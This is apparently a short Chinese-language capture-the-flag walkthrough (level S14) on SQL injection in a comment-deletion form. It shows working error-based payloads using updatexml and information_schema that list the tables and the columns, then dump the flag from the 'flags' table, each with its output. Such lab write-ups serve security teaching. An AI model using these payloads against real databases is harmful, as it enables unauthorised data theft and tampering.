S14 DELETE 注入
1.打开靶机
输入框
要删的评论 id:
随便输入一个id 看到SQL
DELETE FROM comments WHERE id = 111
2.报错注入
查表
1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),1)
得到
XPATH syntax error: '~comments,flags,logs,news,produc'
查列
1 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='flags')),1)
得到
XPATH syntax error: '~flag,level,note'
查元素
1 and updatexml(1,concat(0x7e,(select group_concat(flag) from flags)),1)
得到flag
flag{sqli_14_delete_inject}